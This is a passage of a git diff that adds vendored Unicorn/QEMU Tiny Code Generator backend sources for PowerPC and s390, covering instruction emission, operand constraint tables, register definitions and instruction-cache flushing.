args[0], a1 = args[1]; + /* a1 = abcd */ + if (a0 != a1) { + /* a0 = (a1 r<< 24) & 0xff # 000c */ + tcg_out_rlw(s, RLWINM, a0, a1, 24, 24, 31); + /* a0 = (a0 & ~0xff00) | (a1 r<< 8) & 0xff00 # 00dc */ + tcg_out_rlw(s, RLWIMI, a0, a1, 8, 16, 23); + } else { + /* r0 = (a1 r<< 8) & 0xff00 # 00d0 */ + tcg_out_rlw(s, RLWINM, TCG_REG_R0, a1, 8, 16, 23); + /* a0 = (a1 r<< 24) & 0xff # 000c */ + tcg_out_rlw(s, RLWINM, a0, a1, 24, 24, 31); + /* a0 = a0 | r0 # 00dc */ + tcg_out32(s, OR | SAB(TCG_REG_R0, a0, a0)); + } + break; + + case INDEX_op_bswap32_i32: + case INDEX_op_bswap32_i64: + /* Stolen from gcc's builtin_bswap32 */ + a1 = args[1]; + a0 = args[0] == a1 ? TCG_REG_R0 : args[0]; + + /* a1 = args[1] # abcd */ + /* a0 = rotate_left (a1, 8) # bcda */ + tcg_out_rlw(s, RLWINM, a0, a1, 8, 0, 31); + /* a0 = (a0 & ~0xff000000) | ((a1 r<< 24) & 0xff000000) # dcda */ + tcg_out_rlw(s, RLWIMI, a0, a1, 24, 0, 7); + /* a0 = (a0 & ~0x0000ff00) | ((a1 r<< 24) & 0x0000ff00) # dcba */ + tcg_out_rlw(s, RLWIMI, a0, a1, 24, 16, 23); + + if (a0 == TCG_REG_R0) { + tcg_out_mov(s, TCG_TYPE_REG, args[0], a0); + } + break; + + case INDEX_op_bswap64_i64: + a0 = args[0], a1 = args[1], a2 = TCG_REG_R0; + if (a0 == a1) { + a0 = TCG_REG_R0; + a2 = a1; + } + + /* a1 = # abcd efgh */ + /* a0 = rl32(a1, 8) # 0000 fghe */ + tcg_out_rlw(s, RLWINM, a0, a1, 8, 0, 31); + /* a0 = dep(a0, rl32(a1, 24), 0xff000000) # 0000 hghe */ + tcg_out_rlw(s, RLWIMI, a0, a1, 24, 0, 7); + /* a0 = dep(a0, rl32(a1, 24), 0x0000ff00) # 0000 hgfe */ + tcg_out_rlw(s, RLWIMI, a0, a1, 24, 16, 23); + + /* a0 = rl64(a0, 32) # hgfe 0000 */ + /* a2 = rl64(a1, 32) # efgh abcd */ + tcg_out_rld(s, RLDICL, a0, a0, 32, 0); + tcg_out_rld(s, RLDICL, a2, a1, 32, 0); + + /* a0 = dep(a0, rl32(a2, 8), 0xffffffff) # hgfe bcda */ + tcg_out_rlw(s, RLWIMI, a0, a2, 8, 0, 31); + /* a0 = dep(a0, rl32(a2, 24), 0xff000000) # hgfe dcda */ + tcg_out_rlw(s, RLWIMI, a0, a2, 24, 0, 7); + /* a0 = dep(a0, rl32(a2, 24), 0x0000ff00) # hgfe dcba */ + tcg_out_rlw(s, RLWIMI, a0, a2, 24, 16, 23); + + if (a0 == 0) { + tcg_out_mov(s, TCG_TYPE_REG, args[0], a0); + } + break; + + case INDEX_op_deposit_i32: + if (const_args[2]) { + uint32_t mask = ((2u << (args[4] - 1)) - 1) << args[3]; + tcg_out_andi32(s, args[0], args[0], ~mask); + } else { + tcg_out_rlw(s, RLWIMI, args[0], args[2], args[3], + 32 - args[3] - args[4], 31 - args[3]); + } + break; + case INDEX_op_deposit_i64: + if (const_args[2]) { + uint64_t mask = ((2ull << (args[4] - 1)) - 1) << args[3]; + tcg_out_andi64(s, args[0], args[0], ~mask); + } else { + tcg_out_rld(s, RLDIMI, args[0], args[2], args[3], + 64 - args[3] - args[4]); + } + break; + + case INDEX_op_movcond_i32: + tcg_out_movcond(s, TCG_TYPE_I32, args[5], args[0], args[1], args[2], + args[3], args[4], const_args[2]); + break; + case INDEX_op_movcond_i64: + tcg_out_movcond(s, TCG_TYPE_I64, args[5], args[0], args[1], args[2], + args[3], args[4], const_args[2]); + break; + +#if TCG_TARGET_REG_BITS == 64 + case INDEX_op_add2_i64: +#else + case INDEX_op_add2_i32: +#endif + /* Note that the CA bit is defined based on the word size of the + environment. So in 64-bit mode it's always carry-out of bit 63. + The fallback code using deposit works just as well for 32-bit. */ + a0 = args[0], a1 = args[1]; + if (a0 == args[3] || (!const_args[5] && a0 == args[5])) { + a0 = TCG_REG_R0; + } + if (const_args[4]) { + tcg_out32(s, ADDIC | TAI(a0, args[2], args[4])); + } else { + tcg_out32(s, ADDC | TAB(a0, args[2], args[4])); + } + if (const_args[5]) { + tcg_out32(s, (args[5] ? ADDME : ADDZE) | RT(a1) | RA(args[3])); + } else { + tcg_out32(s, ADDE | TAB(a1, args[3], args[5])); + } + if (a0 != args[0]) { + tcg_out_mov(s, TCG_TYPE_REG, args[0], a0); + } + break; + +#if TCG_TARGET_REG_BITS == 64 + case INDEX_op_sub2_i64: +#else + case INDEX_op_sub2_i32: +#endif + a0 = args[0], a1 = args[1]; + if (a0 == args[5] || (!const_args[3] && a0 == args[3])) { + a0 = TCG_REG_R0; + } + if (const_args[2]) { + tcg_out32(s, SUBFIC | TAI(a0, args[4], args[2])); + } else { + tcg_out32(s, SUBFC | TAB(a0, args[4], args[2])); + } + if (const_args[3]) { + tcg_out32(s, (args[3] ? SUBFME : SUBFZE) | RT(a1) | RA(args[5])); + } else { + tcg_out32(s, SUBFE | TAB(a1, args[5], args[3])); + } + if (a0 != args[0]) { + tcg_out_mov(s, TCG_TYPE_REG, args[0], a0); + } + break; + + case INDEX_op_muluh_i32: + tcg_out32(s, MULHWU | TAB(args[0], args[1], args[2])); + break; + case INDEX_op_mulsh_i32: + tcg_out32(s, MULHW | TAB(args[0], args[1], args[2])); + break; + case INDEX_op_muluh_i64: + tcg_out32(s, MULHDU | TAB(args[0], args[1], args[2])); + break; + case INDEX_op_mulsh_i64: + tcg_out32(s, MULHD | TAB(args[0], args[1], args[2])); + break; + + case INDEX_op_mov_i32: /* Always emitted via tcg_out_mov. */ + case INDEX_op_mov_i64: + case INDEX_op_movi_i32: /* Always emitted via tcg_out_movi. */ + case INDEX_op_movi_i64: + case INDEX_op_call: /* Always emitted via tcg_out_call. */ + default: + tcg_abort(); + } +} + +static const TCGTargetOpDef ppc_op_defs[] = { + { INDEX_op_exit_tb, { } }, + { INDEX_op_goto_tb, { } }, + { INDEX_op_br, { } }, + + { INDEX_op_ld8u_i32, { "r", "r" } }, + { INDEX_op_ld8s_i32, { "r", "r" } }, + { INDEX_op_ld16u_i32, { "r", "r" } }, + { INDEX_op_ld16s_i32, { "r", "r" } }, + { INDEX_op_ld_i32, { "r", "r" } }, + + { INDEX_op_st8_i32, { "r", "r" } }, + { INDEX_op_st16_i32, { "r", "r" } }, + { INDEX_op_st_i32, { "r", "r" } }, + + { INDEX_op_add_i32, { "r", "r", "ri" } }, + { INDEX_op_mul_i32, { "r", "r", "rI" } }, + { INDEX_op_div_i32, { "r", "r", "r" } }, + { INDEX_op_divu_i32, { "r", "r", "r" } }, + { INDEX_op_sub_i32, { "r", "rI", "ri" } }, + { INDEX_op_and_i32, { "r", "r", "ri" } }, + { INDEX_op_or_i32, { "r", "r", "ri" } }, + { INDEX_op_xor_i32, { "r", "r", "ri" } }, + { INDEX_op_andc_i32, { "r", "r", "ri" } }, + { INDEX_op_orc_i32, { "r", "r", "ri" } }, + { INDEX_op_eqv_i32, { "r", "r", "ri" } }, + { INDEX_op_nand_i32, { "r", "r", "r" } }, + { INDEX_op_nor_i32, { "r", "r", "r" } }, + + { INDEX_op_shl_i32, { "r", "r", "ri" } }, + { INDEX_op_shr_i32, { "r", "r", "ri" } }, + { INDEX_op_sar_i32, { "r", "r", "ri" } }, + { INDEX_op_rotl_i32, { "r", "r", "ri" } }, + { INDEX_op_rotr_i32, { "r", "r", "ri" } }, + + { INDEX_op_neg_i32, { "r", "r" } }, + { INDEX_op_not_i32, { "r", "r" } }, + { INDEX_op_ext8s_i32, { "r", "r" } }, + { INDEX_op_ext16s_i32, { "r", "r" } }, + { INDEX_op_bswap16_i32, { "r", "r" } }, + { INDEX_op_bswap32_i32, { "r", "r" } }, + + { INDEX_op_brcond_i32, { "r", "ri" } }, + { INDEX_op_setcond_i32, { "r", "r", "ri" } }, + { INDEX_op_movcond_i32, { "r", "r", "ri", "rZ", "rZ" } }, + + { INDEX_op_deposit_i32, { "r", "0", "rZ" } }, + + { INDEX_op_muluh_i32, { "r", "r", "r" } }, + { INDEX_op_mulsh_i32, { "r", "r", "r" } }, + +#if TCG_TARGET_REG_BITS == 64 + { INDEX_op_ld8u_i64, { "r", "r" } }, + { INDEX_op_ld8s_i64, { "r", "r" } }, + { INDEX_op_ld16u_i64, { "r", "r" } }, + { INDEX_op_ld16s_i64, { "r", "r" } }, + { INDEX_op_ld32u_i64, { "r", "r" } }, + { INDEX_op_ld32s_i64, { "r", "r" } }, + { INDEX_op_ld_i64, { "r", "r" } }, + + { INDEX_op_st8_i64, { "r", "r" } }, + { INDEX_op_st16_i64, { "r", "r" } }, + { INDEX_op_st32_i64, { "r", "r" } }, + { INDEX_op_st_i64, { "r", "r" } }, + + { INDEX_op_add_i64, { "r", "r", "rT" } }, + { INDEX_op_sub_i64, { "r", "rI", "rT" } }, + { INDEX_op_and_i64, { "r", "r", "ri" } }, + { INDEX_op_or_i64, { "r", "r", "rU" } }, + { INDEX_op_xor_i64, { "r", "r", "rU" } }, + { INDEX_op_andc_i64, { "r", "r", "ri" } }, + { INDEX_op_orc_i64, { "r", "r", "r" } }, + { INDEX_op_eqv_i64, { "r", "r", "r" } }, + { INDEX_op_nand_i64, { "r", "r", "r" } }, + { INDEX_op_nor_i64, { "r", "r", "r" } }, + + { INDEX_op_shl_i64, { "r", "r", "ri" } }, + { INDEX_op_shr_i64, { "r", "r", "ri" } }, + { INDEX_op_sar_i64, { "r", "r", "ri" } }, + { INDEX_op_rotl_i64, { "r", "r", "ri" } }, + { INDEX_op_rotr_i64, { "r", "r", "ri" } }, + + { INDEX_op_mul_i64, { "r", "r", "rI" } }, + { INDEX_op_div_i64, { "r", "r", "r" } }, + { INDEX_op_divu_i64, { "r", "r", "r" } }, + + { INDEX_op_neg_i64, { "r", "r" } }, + { INDEX_op_not_i64, { "r", "r" } }, + { INDEX_op_ext8s_i64, { "r", "r" } }, + { INDEX_op_ext16s_i64, { "r", "r" } }, + { INDEX_op_ext32s_i64, { "r", "r" } }, + { INDEX_op_bswap16_i64, { "r", "r" } }, + { INDEX_op_bswap32_i64, { "r", "r" } }, + { INDEX_op_bswap64_i64, { "r", "r" } }, + + { INDEX_op_brcond_i64, { "r", "ri" } }, + { INDEX_op_setcond_i64, { "r", "r", "ri" } }, + { INDEX_op_movcond_i64, { "r", "r", "ri", "rZ", "rZ" } }, + + { INDEX_op_deposit_i64, { "r", "0", "rZ" } }, + + { INDEX_op_mulsh_i64, { "r", "r", "r" } }, + { INDEX_op_muluh_i64, { "r", "r", "r" } }, +#endif + +#if TCG_TARGET_REG_BITS == 32 + { INDEX_op_brcond2_i32, { "r", "r", "ri", "ri" } }, + { INDEX_op_setcond2_i32, { "r", "r", "r", "ri", "ri" } }, +#endif + +#if TCG_TARGET_REG_BITS == 64 + { INDEX_op_add2_i64, { "r", "r", "r", "r", "rI", "rZM" } }, + { INDEX_op_sub2_i64, { "r", "r", "rI", "rZM", "r", "r" } }, +#else + { INDEX_op_add2_i32, { "r", "r", "r", "r", "rI", "rZM" } }, + { INDEX_op_sub2_i32, { "r", "r", "rI", "rZM", "r", "r" } }, +#endif + +#if TCG_TARGET_REG_BITS == 64 + { INDEX_op_qemu_ld_i32, { "r", "L" } }, + { INDEX_op_qemu_st_i32, { "S", "S" } }, + { INDEX_op_qemu_ld_i64, { "r", "L" } }, + { INDEX_op_qemu_st_i64, { "S", "S" } }, +#elif TARGET_LONG_BITS == 32 + { INDEX_op_qemu_ld_i32, { "r", "L" } }, + { INDEX_op_qemu_st_i32, { "S", "S" } }, + { INDEX_op_qemu_ld_i64, { "L", "L", "L" } }, + { INDEX_op_qemu_st_i64, { "S", "S", "S" } }, +#else + { INDEX_op_qemu_ld_i32, { "r", "L", "L" } }, + { INDEX_op_qemu_st_i32, { "S", "S", "S" } }, + { INDEX_op_qemu_ld_i64, { "L", "L", "L", "L" } }, + { INDEX_op_qemu_st_i64, { "S", "S", "S", "S" } }, +#endif + + { -1 }, +}; + +static void tcg_target_init(TCGContext *s) +{ + unsigned long hwcap = qemu_getauxval(AT_HWCAP); + if (hwcap & PPC_FEATURE_ARCH_2_06) { + have_isa_2_06 = true; + } + + tcg_regset_set32(s->tcg_target_available_regs[TCG_TYPE_I32], 0, 0xffffffff); + tcg_regset_set32(s->tcg_target_available_regs[TCG_TYPE_I64], 0, 0xffffffff); + tcg_regset_set32(s->tcg_target_call_clobber_regs, 0, + (1 << TCG_REG_R0) | + (1 << TCG_REG_R2) | + (1 << TCG_REG_R3) | + (1 << TCG_REG_R4) | + (1 << TCG_REG_R5) | + (1 << TCG_REG_R6) | + (1 << TCG_REG_R7) | + (1 << TCG_REG_R8) | + (1 << TCG_REG_R9) | + (1 << TCG_REG_R10) | + (1 << TCG_REG_R11) | + (1 << TCG_REG_R12)); + + tcg_regset_clear(s->reserved_regs); + tcg_regset_set_reg(s->reserved_regs, TCG_REG_R0); /* tcg temp */ + tcg_regset_set_reg(s->reserved_regs, TCG_REG_R1); /* stack pointer */ +#if defined(_CALL_SYSV) + tcg_regset_set_reg(s->reserved_regs, TCG_REG_R2); /* toc pointer */ +#endif +#if defined(_CALL_SYSV) || TCG_TARGET_REG_BITS == 64 + tcg_regset_set_reg(s->reserved_regs, TCG_REG_R13); /* thread pointer */ +#endif + tcg_regset_set_reg(s->reserved_regs, TCG_REG_TMP1); /* mem temp */ + if (USE_REG_RA) { + tcg_regset_set_reg(s->reserved_regs, TCG_REG_RA); /* return addr */ + } + + tcg_add_target_add_op_defs(s, ppc_op_defs); +} + +#ifdef __ELF__ +#if TCG_TARGET_REG_BITS == 64 +# define ELF_HOST_MACHINE EM_PPC64 +#else +# define ELF_HOST_MACHINE EM_PPC +#endif +#endif /* __ELF__ */ + +static size_t dcache_bsize = 16; +static size_t icache_bsize = 16; + +void flush_icache_range(uintptr_t start, uintptr_t stop) +{ + uintptr_t p, start1, stop1; + size_t dsize = dcache_bsize; + size_t isize = icache_bsize; + + start1 = start & ~(dsize - 1); + stop1 = (stop + dsize - 1) & ~(dsize - 1); + for (p = start1; p < stop1; p += dsize) { + asm volatile ("dcbst 0,%0" : : "r"(p) : "memory"); + } + asm volatile ("sync" : : : "memory"); + + start &= start & ~(isize - 1); + stop1 = (stop + isize - 1) & ~(isize - 1); + for (p = start1; p < stop1; p += isize) { + asm volatile ("icbi 0,%0" : : "r"(p) : "memory"); + } + asm volatile ("sync" : : : "memory"); + asm volatile ("isync" : : : "memory"); +} + +#if defined _AIX +#include + +INITIALIZER(tcg_cache_init) +{ + icache_bsize = _system_configuration.icache_line; + dcache_bsize = _system_configuration.dcache_line; +} + +#elif defined __linux__ +INITIALIZER(tcg_cache_init) +{ + unsigned long dsize = qemu_getauxval(AT_DCACHEBSIZE); + unsigned long isize = qemu_getauxval(AT_ICACHEBSIZE); + + if (dsize == 0 || isize == 0) { + if (dsize == 0) { + fprintf(stderr, "getauxval AT_DCACHEBSIZE failed\n"); + } + if (isize == 0) { + fprintf(stderr, "getauxval AT_ICACHEBSIZE failed\n"); + } + exit(1); + } + dcache_bsize = dsize; + icache_bsize = isize; +} + +#elif defined __APPLE__ +#include +#include +#include + +INITIALIZER(tcg_cache_init) +{ + size_t len; + unsigned cacheline; + int name[2] = { CTL_HW, HW_CACHELINE }; + + len = sizeof(cacheline); + if (sysctl(name, 2, &cacheline, &len, NULL, 0)) { + perror("sysctl CTL_HW HW_CACHELINE failed"); + exit(1); + } + dcache_bsize = cacheline; + icache_bsize = cacheline; +} + +#elif defined(__FreeBSD__) || defined(__FreeBSD_kernel__) +#include +#include +#include +#include +#include +#include + +INITIALIZER(tcg_cache_init) +{ + size_t len = 4; + unsigned cacheline; + + if (sysctlbyname ("machdep.cacheline_size", &cacheline, &len, NULL, 0)) { + fprintf(stderr, "sysctlbyname machdep.cacheline_size failed: %s\n", + strerror(errno)); + exit(1); + } + dcache_bsize = cacheline; + icache_bsize = cacheline; +} +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/ppc/tcg-target.h b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/ppc/tcg-target.h new file mode 100644 index 0000000..32ac442 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/ppc/tcg-target.h @@ -0,0 +1,111 @@ +/* + * Tiny Code Generator for QEMU + * + * Copyright (c) 2008 Fabrice Bellard + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#ifndef TCG_TARGET_PPC64 +#define TCG_TARGET_PPC64 1 + +#ifdef _ARCH_PPC64 +# define TCG_TARGET_REG_BITS 64 +#else +# define TCG_TARGET_REG_BITS 32 +#endif + +#define TCG_TARGET_NB_REGS 32 +#define TCG_TARGET_INSN_UNIT_SIZE 4 + +typedef enum { + TCG_REG_R0, TCG_REG_R1, TCG_REG_R2, TCG_REG_R3, + TCG_REG_R4, TCG_REG_R5, TCG_REG_R6, TCG_REG_R7, + TCG_REG_R8, TCG_REG_R9, TCG_REG_R10, TCG_REG_R11, + TCG_REG_R12, TCG_REG_R13, TCG_REG_R14, TCG_REG_R15, + TCG_REG_R16, TCG_REG_R17, TCG_REG_R18, TCG_REG_R19, + TCG_REG_R20, TCG_REG_R21, TCG_REG_R22, TCG_REG_R23, + TCG_REG_R24, TCG_REG_R25, TCG_REG_R26, TCG_REG_R27, + TCG_REG_R28, TCG_REG_R29, TCG_REG_R30, TCG_REG_R31, + + TCG_REG_CALL_STACK = TCG_REG_R1, + TCG_AREG0 = TCG_REG_R27 +} TCGReg; + +/* optional instructions automatically implemented */ +#define TCG_TARGET_HAS_ext8u_i32 0 /* andi */ +#define TCG_TARGET_HAS_ext16u_i32 0 + +/* optional instructions */ +#define TCG_TARGET_HAS_div_i32 1 +#define TCG_TARGET_HAS_rem_i32 0 +#define TCG_TARGET_HAS_rot_i32 1 +#define TCG_TARGET_HAS_ext8s_i32 1 +#define TCG_TARGET_HAS_ext16s_i32 1 +#define TCG_TARGET_HAS_bswap16_i32 1 +#define TCG_TARGET_HAS_bswap32_i32 1 +#define TCG_TARGET_HAS_not_i32 1 +#define TCG_TARGET_HAS_neg_i32 1 +#define TCG_TARGET_HAS_andc_i32 1 +#define TCG_TARGET_HAS_orc_i32 1 +#define TCG_TARGET_HAS_eqv_i32 1 +#define TCG_TARGET_HAS_nand_i32 1 +#define TCG_TARGET_HAS_nor_i32 1 +#define TCG_TARGET_HAS_deposit_i32 1 +#define TCG_TARGET_HAS_movcond_i32 1 +#define TCG_TARGET_HAS_mulu2_i32 0 +#define TCG_TARGET_HAS_muls2_i32 0 +#define TCG_TARGET_HAS_muluh_i32 1 +#define TCG_TARGET_HAS_mulsh_i32 1 + +#if TCG_TARGET_REG_BITS == 64 +#define TCG_TARGET_HAS_add2_i32 0 +#define TCG_TARGET_HAS_sub2_i32 0 +#define TCG_TARGET_HAS_trunc_shr_i32 0 +#define TCG_TARGET_HAS_div_i64 1 +#define TCG_TARGET_HAS_rem_i64 0 +#define TCG_TARGET_HAS_rot_i64 1 +#define TCG_TARGET_HAS_ext8s_i64 1 +#define TCG_TARGET_HAS_ext16s_i64 1 +#define TCG_TARGET_HAS_ext32s_i64 1 +#define TCG_TARGET_HAS_ext8u_i64 0 +#define TCG_TARGET_HAS_ext16u_i64 0 +#define TCG_TARGET_HAS_ext32u_i64 0 +#define TCG_TARGET_HAS_bswap16_i64 1 +#define TCG_TARGET_HAS_bswap32_i64 1 +#define TCG_TARGET_HAS_bswap64_i64 1 +#define TCG_TARGET_HAS_not_i64 1 +#define TCG_TARGET_HAS_neg_i64 1 +#define TCG_TARGET_HAS_andc_i64 1 +#define TCG_TARGET_HAS_orc_i64 1 +#define TCG_TARGET_HAS_eqv_i64 1 +#define TCG_TARGET_HAS_nand_i64 1 +#define TCG_TARGET_HAS_nor_i64 1 +#define TCG_TARGET_HAS_deposit_i64 1 +#define TCG_TARGET_HAS_movcond_i64 1 +#define TCG_TARGET_HAS_add2_i64 1 +#define TCG_TARGET_HAS_sub2_i64 1 +#define TCG_TARGET_HAS_mulu2_i64 0 +#define TCG_TARGET_HAS_muls2_i64 0 +#define TCG_TARGET_HAS_muluh_i64 1 +#define TCG_TARGET_HAS_mulsh_i64 1 +#endif + +void flush_icache_range(uintptr_t start, uintptr_t stop); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/s390/tcg-target.c b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/s390/tcg-target.c new file mode 100644 index 0000000..cfa8987 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/s390/tcg-target.c @@ -0,0 +1,2346 @@ +/* + * Tiny Code Generator for QEMU + * + * Copyright (c) 2009 Ulrich Hecht + * Copyright (c) 2009 Alexander Graf + * Copyright (c) 2010 Richard Henderson + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +#include "tcg-be-ldst.h" + +/* We only support generating code for 64-bit mode. */ +#if TCG_TARGET_REG_BITS != 64 +#error "unsupported code generation mode" +#endif + +#include "elf.h" + +/* ??? The translation blocks produced by TCG are generally small enough to + be entirely reachable with a 16-bit displacement. Leaving the option for + a 32-bit displacement here Just In Case. */ +#define USE_LONG_BRANCHES 0 + +#define TCG_CT_CONST_MULI 0x100 +#define TCG_CT_CONST_ORI 0x200 +#define TCG_CT_CONST_XORI 0x400 +#define TCG_CT_CONST_CMPI 0x800 +#define TCG_CT_CONST_ADLI 0x1000 + +/* Several places within the instruction set 0 means "no register" + rather than TCG_REG_R0. */ +#define TCG_REG_NONE 0 + +/* A scratch register that may be be used throughout the backend. */ +#define TCG_TMP0 TCG_REG_R14 + +#ifdef CONFIG_USE_GUEST_BASE +#define TCG_GUEST_BASE_REG TCG_REG_R13 +#else +#define TCG_GUEST_BASE_REG TCG_REG_R0 +#endif + +#ifndef GUEST_BASE +#define GUEST_BASE 0 +#endif + + +/* All of the following instructions are prefixed with their instruction + format, and are defined as 8- or 16-bit quantities, even when the two + halves of the 16-bit quantity may appear 32 bits apart in the insn. + This makes it easy to copy the values from the tables in Appendix B. */ +typedef enum S390Opcode { + RIL_AFI = 0xc209, + RIL_AGFI = 0xc208, + RIL_ALFI = 0xc20b, + RIL_ALGFI = 0xc20a, + RIL_BRASL = 0xc005, + RIL_BRCL = 0xc004, + RIL_CFI = 0xc20d, + RIL_CGFI = 0xc20c, + RIL_CLFI = 0xc20f, + RIL_CLGFI = 0xc20e, + RIL_IIHF = 0xc008, + RIL_IILF = 0xc009, + RIL_LARL = 0xc000, + RIL_LGFI = 0xc001, + RIL_LGRL = 0xc408, + RIL_LLIHF = 0xc00e, + RIL_LLILF = 0xc00f, + RIL_LRL = 0xc40d, + RIL_MSFI = 0xc201, + RIL_MSGFI = 0xc200, + RIL_NIHF = 0xc00a, + RIL_NILF = 0xc00b, + RIL_OIHF = 0xc00c, + RIL_OILF = 0xc00d, + RIL_SLFI = 0xc205, + RIL_SLGFI = 0xc204, + RIL_XIHF = 0xc006, + RIL_XILF = 0xc007, + + RI_AGHI = 0xa70b, + RI_AHI = 0xa70a, + RI_BRC = 0xa704, + RI_IIHH = 0xa500, + RI_IIHL = 0xa501, + RI_IILH = 0xa502, + RI_IILL = 0xa503, + RI_LGHI = 0xa709, + RI_LLIHH = 0xa50c, + RI_LLIHL = 0xa50d, + RI_LLILH = 0xa50e, + RI_LLILL = 0xa50f, + RI_MGHI = 0xa70d, + RI_MHI = 0xa70c, + RI_NIHH = 0xa504, + RI_NIHL = 0xa505, + RI_NILH = 0xa506, + RI_NILL = 0xa507, + RI_OIHH = 0xa508, + RI_OIHL = 0xa509, + RI_OILH = 0xa50a, + RI_OILL = 0xa50b, + + RIE_CGIJ = 0xec7c, + RIE_CGRJ = 0xec64, + RIE_CIJ = 0xec7e, + RIE_CLGRJ = 0xec65, + RIE_CLIJ = 0xec7f, + RIE_CLGIJ = 0xec7d, + RIE_CLRJ = 0xec77, + RIE_CRJ = 0xec76, + RIE_RISBG = 0xec55, + + RRE_AGR = 0xb908, + RRE_ALGR = 0xb90a, + RRE_ALCR = 0xb998, + RRE_ALCGR = 0xb988, + RRE_CGR = 0xb920, + RRE_CLGR = 0xb921, + RRE_DLGR = 0xb987, + RRE_DLR = 0xb997, + RRE_DSGFR = 0xb91d, + RRE_DSGR = 0xb90d, + RRE_LGBR = 0xb906, + RRE_LCGR = 0xb903, + RRE_LGFR = 0xb914, + RRE_LGHR = 0xb907, + RRE_LGR = 0xb904, + RRE_LLGCR = 0xb984, + RRE_LLGFR = 0xb916, + RRE_LLGHR = 0xb985, + RRE_LRVR = 0xb91f, + RRE_LRVGR = 0xb90f, + RRE_LTGR = 0xb902, + RRE_MLGR = 0xb986, + RRE_MSGR = 0xb90c, + RRE_MSR = 0xb252, + RRE_NGR = 0xb980, + RRE_OGR = 0xb981, + RRE_SGR = 0xb909, + RRE_SLGR = 0xb90b, + RRE_SLBR = 0xb999, + RRE_SLBGR = 0xb989, + RRE_XGR = 0xb982, + + RRF_LOCR = 0xb9f2, + RRF_LOCGR = 0xb9e2, + + RR_AR = 0x1a, + RR_ALR = 0x1e, + RR_BASR = 0x0d, + RR_BCR = 0x07, + RR_CLR = 0x15, + RR_CR = 0x19, + RR_DR = 0x1d, + RR_LCR = 0x13, + RR_LR = 0x18, + RR_LTR = 0x12, + RR_NR = 0x14, + RR_OR = 0x16, + RR_SR = 0x1b, + RR_SLR = 0x1f, + RR_XR = 0x17, + + RSY_RLL = 0xeb1d, + RSY_RLLG = 0xeb1c, + RSY_SLLG = 0xeb0d, + RSY_SRAG = 0xeb0a, + RSY_SRLG = 0xeb0c, + + RS_SLL = 0x89, + RS_SRA = 0x8a, + RS_SRL = 0x88, + + RXY_AG = 0xe308, + RXY_AY = 0xe35a, + RXY_CG = 0xe320, + RXY_CY = 0xe359, + RXY_LAY = 0xe371, + RXY_LB = 0xe376, + RXY_LG = 0xe304, + RXY_LGB = 0xe377, + RXY_LGF = 0xe314, + RXY_LGH = 0xe315, + RXY_LHY = 0xe378, + RXY_LLGC = 0xe390, + RXY_LLGF = 0xe316, + RXY_LLGH = 0xe391, + RXY_LMG = 0xeb04, + RXY_LRV = 0xe31e, + RXY_LRVG = 0xe30f, + RXY_LRVH = 0xe31f, + RXY_LY = 0xe358, + RXY_STCY = 0xe372, + RXY_STG = 0xe324, + RXY_STHY = 0xe370, + RXY_STMG = 0xeb24, + RXY_STRV = 0xe33e, + RXY_STRVG = 0xe32f, + RXY_STRVH = 0xe33f, + RXY_STY = 0xe350, + + RX_A = 0x5a, + RX_C = 0x59, + RX_L = 0x58, + RX_LA = 0x41, + RX_LH = 0x48, + RX_ST = 0x50, + RX_STC = 0x42, + RX_STH = 0x40, +} S390Opcode; + +#ifndef NDEBUG +static const char * const tcg_target_reg_names[TCG_TARGET_NB_REGS] = { + "%r0", "%r1", "%r2", "%r3", "%r4", "%r5", "%r6", "%r7", + "%r8", "%r9", "%r10" "%r11" "%r12" "%r13" "%r14" "%r15" +}; +#endif + +/* Since R6 is a potential argument register, choose it last of the + call-saved registers. Likewise prefer the call-clobbered registers + in reverse order to maximize the chance of avoiding the arguments. */ +static const int tcg_target_reg_alloc_order[] = { + /* Call saved registers. */ + TCG_REG_R13, + TCG_REG_R12, + TCG_REG_R11, + TCG_REG_R10, + TCG_REG_R9, + TCG_REG_R8, + TCG_REG_R7, + TCG_REG_R6, + /* Call clobbered registers. */ + TCG_REG_R14, + TCG_REG_R0, + TCG_REG_R1, + /* Argument registers, in reverse order of allocation. */ + TCG_REG_R5, + TCG_REG_R4, + TCG_REG_R3, + TCG_REG_R2, +}; + +static const int 